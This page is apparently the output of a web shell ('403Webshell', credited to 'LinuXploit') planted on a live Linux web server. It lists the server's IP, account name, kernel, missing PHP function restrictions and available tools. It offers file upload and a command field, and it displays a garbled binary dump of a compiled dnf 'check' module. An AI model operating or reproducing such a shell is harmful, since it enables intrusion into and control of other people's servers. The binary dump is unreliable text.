403Webshell
Server IP : 192.158.238.246  /  Your IP : 18.118.37.224
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python3.6/site-packages/dnf/cli/commands/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.6/site-packages/dnf/cli/commands/__pycache__/check.cpython-36.pyc
3

�ft`?�@sVddlmZddlmZddlmZddlmZddlZddlZ	Gdd�dej
�ZdS)�)�absolute_import)�unicode_literals)�_)�commandsNc@s8eZdZdZdZed�Zedd��Zdd�Z	dd	�Z
d
S)�CheckCommandzSA class containing methods needed by the cli to execute the check
    command.
    �checkz#check for problems in the packagedbc	Cs�|jddddtd�d�|jddddtd	�d�|jd
dddtd�d�|jd
dddtd�d�|jddddtd�d�|jdddddddggtjd�dS)Nz--all�check_typesZappend_const�allzshow all problems; default)�dest�action�const�helpz--dependencies�dependencieszshow dependency problemsz--duplicates�
duplicateszshow duplicate problemsz--obsoleted�	obsoletedzshow obsoleted packagesz
--provides�provideszshow problems with provides�check_yum_types�*)�nargs�choicesr
)�add_argumentr�argparseZSUPPRESS)�parser�r�/usr/lib/python3.6/check.py�
set_argparser$s$zCheckCommand.set_argparsercCsxd|jj_|jjr<|jjr0|jj|jj|j_n|jj|j_|jjsPdh|j_nt|jj�|j_|jjj	dg7_	dS)NTr	)
ZcliZdemandsZsack_activation�optsrr�set�base�confZdisable_excludes)�selfrrr�	configure;s
zCheckCommand.configurec	Cs�t�}|jjj�j�}|jjjddh��r�d}�x||D�]r}x�t|j�tt|j	�t|j
��BD]�}t|�jd�rtq`t
|j|gd��s`t|�jd�r�|dkr�tjj|j�}tjj|�}|jt|�d�tjj|�}|jjj|_|j|dd�|j�}|r�q`td�}	|j|	j|jjjj|�|jjjj|���q`Wxx|jD]n}
|j|
gt|
�j �d	d
�}xJ|D]B}d}	|j|	j|jjjj|�|jjjj|
�|jjjj|����q^W�q8Wq6W|jjjddh��rN|jj!|�}
|j"�j#|
�j$�}xl|j%�D]`\}}|j&�xL|d
d�D]<}td�j|jjjj|d	�|jjjj|��}	|j|	��qW�q�W|jjjddh��r�x||D]t}xl|j'D]b}|j|gt|�j �d	d
�}t
|��rttd�j|jjjj|d	�|jjjj|��}	|j|	��qtW�qhW|jjjddh��r\xf|D]^}xV|j(D]L}||j|gd�k�rtd�}	|j|	j|jjjj|�|jjjj|����qW�q�Wxt)|�D]}	t*|	��qfW|�r�tj+j,djt
|����dS)Nr	rZrpmlib)r�(F)ZselectZoptionalz{} has missing requires of {}r)r�namez"{} has installed conflict "{}": {}r�z{} is a duplicate with {}rz{} is obsoleted by {}rz%{} provides {} but it cannot be foundzCheck discovered {} problem(s))-rr�sackZqueryZ	installedrr�intersectionZregular_requiresZrequires_preZprereq_ignoreinst�str�
startswith�len�filter�dnfZ
rpmdb_sack�selectorZSelector�goalZGoalrZprotect_running_kernelZinstall�runr�add�format�outputZtermZboldZ	conflicts�splitZ_get_installonly_queryZ
duplicated�
differenceZ
_name_dict�items�sortZ	obsoletesr�sorted�print�
exceptions�Error)r Z
output_set�qr%ZpkgZrequirer,r-Zsolved�msgZconflictZ
conflictedZconflict_pkgZinstallonlyZdupsr#Zpkgs�dupZobsoleterZproviderrrr.Is�(
$


 zCheckCommand.runN)r)�__name__�
__module__�__qualname__�__doc__�aliasesrZsummary�staticmethodrr!r.rrrrrsr)Z
__future__rrZdnf.i18nrZdnf.clirrZdnf.exceptionsr+ZCommandrrrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit